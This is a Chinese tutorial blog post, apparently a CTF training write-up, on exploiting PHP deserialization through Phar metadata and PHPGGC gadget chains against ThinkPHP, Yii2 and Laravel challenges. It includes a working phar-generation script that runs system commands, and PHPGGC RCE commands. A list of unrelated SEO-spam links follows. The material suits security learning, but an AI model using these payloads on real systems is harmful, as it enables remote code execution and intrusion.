当前位置: 首页 > wzjs >正文

记的网站域名站长之家app下载

记的网站域名,站长之家app下载,网站架构设计师求职信,局域网网站建设知识点: 1、PHP-反序列化-Phar反序列化 2、PHP-反序列化-框架反序列化链生成项目 3、PHP-反序列化-框架反序列化利用 一、演示案例-WEB攻防-PHP反序列化-Phar反序列化 解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个…

知识点:
1、PHP-反序列化-Phar反序列化
2、PHP-反序列化-框架反序列化链生成项目
3、PHP-反序列化-框架反序列化利用

一、演示案例-WEB攻防-PHP反序列化-Phar反序列化

解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

在这里插入图片描述
原理:PHP文件系统函数在通过伪协议解析phar文件时,都会将 meta-data进行反序列化操作,受影响的函数如上图;所以当这些函数接收到伪协议处理到 phar 文件的时候,Meta-data 里的序列化字符串就会被反序列化,实现不使用unserialize()函数实现反序列化操作。

利用条件
1.phar文件(任意后缀都可以)能上传至服务器。
2.存在受影响函数,存在可以利用的魔术方法。

1、Demo

在这里插入图片描述

生成Phar文件生成Phar文件需要注意:
php.ini中将Phar.readonly设置为off

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、[HNCTF 2022 WEEK3]ez_phar

在这里插入图片描述

POP链生成phar文件
<?php
class Flag{public $code;public function __destruct(){// TODO: Implement __destruct() method.eval($this->code);}
}
$a=new Flag();
$a->code="system('cat /ffflllaaaggg');";
$phar = new Phar("exp6.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

在这里插入图片描述
upload.php上传文件引用访问触发
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、白盒代码审计案例

https://mp.weixin.qq.com/s/2wzaXIpJgYSNnkJgRNUSEg
https://mp.weixin.qq.com/s/Z24A3LYn6P3276v7GqPw4w

二、演示案例-WEB攻防-PHP反序列化-框架反序列化链生成项目

框架类的反序列化及对应POP链编写是非常复杂的。比CTF那种原生态反序列化源码难很多很多。

利用场景:
当知道目标使用了某个框架及对应版本并且这个框架版本曝过反序列漏洞,那么就可以尝试利用该项目去生成反序列链。

1、NotSoSecure(综合类) 网页版

项目地址:https://github.com/NotSoSecure/SerializedPayloadGenerator

为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.

Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC //这个用不了
Python - 原生

如何搭建

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
如果还不行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、PHPGGC(PHP框架单项类) 命令版本

项目地址:https://github.com/ambionics/phpggc
只有linux版本,可以放本地kali上运行。
PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoffysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

三、演示案例-WEB攻防-PHP反序列化-框架反序列化利用

1、[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化-PHPGGC

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

在这里插入图片描述

http://d67438dd-6483-4c05-bc40-1095050b015a.node4.buuoj.cn:81///public/?payload=

在这里插入图片描述
在这里插入图片描述

2、CTFSHOW 反序列化 267 Yii2反序列化-PHPGGC

弱口令admin/admin登录后源码提示泄漏
在这里插入图片描述

GET:index.php?r=site%2Fabout&view-source

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64

在这里插入图片描述

GET:/index.php?r=backdoor/shell&code=

在这里插入图片描述
在这里插入图片描述

3、CTFSHOW 反序列化 271 Laravel反序列化-PHPGGC

在这里插入图片描述
在这里插入图片描述
但是代码中并没有发现Laravel具体版本,没办法就只能一个一个试呗。
在这里插入图片描述

./phpggc Laravel/RCE2 system "id" --url

在这里插入图片描述
在这里插入图片描述

http://www.dtcms.com/wzjs/41385.html

相关文章:

  • 回力网站建设初衷株洲百度seo
  • 临沂百度网站全国网站排名
  • 曲麻菜公司网站建设纵横seo
  • 主流建站开源程序有哪些黑科技引流推广神器免费
  • 做艺术的网站平台连接
  • 公司网站制作合同成品网站seo
  • 广州靠谱网站制作排名哪家强优化大师有必要安装吗
  • 凡客网站做SEO能被收录吗网络营销软件站
  • 知名的网站制作公司需要多少钱珠海做网站的公司
  • 如何制作个人主页指定关键词seo报价
  • 找做外墙油漆网站陕西网络推广公司
  • 做彩票网站会被判死刑百度关键词优化公司哪家好
  • 济宁网站建设是什么线上营销推广方式
  • 孝感网站开发找优搏南宁seo优化公司排名
  • dede cms 网站模板竞价推广开户公司
  • 手机报价网最新价格网站seo排名优化工具
  • 网站宣传的作用网络建站平台
  • 做网站必要吗唯尚广告联盟平台
  • 各大网站rss订阅源地址百度推广客服
  • 帝国怎么做中英文网站做灰色词seo靠谱
  • 永久3e38cos广西网站seo
  • 有FTP免费网站舆情网站入口
  • 网站模板制作市场调研报告范文大全
  • 大型电商网站开发方案中国联通业绩
  • 爱站seo工具包关键词排名优化品牌
  • 网站建设 廊坊网站外包一般多少钱啊
  • 网站空间的控制面板首页百度搜索引擎广告位的投放
  • 防城港网站开发app制作
  • 有哪些可以做h5的网站小说风云榜
  • 网站开发建设合同营销网站定制公司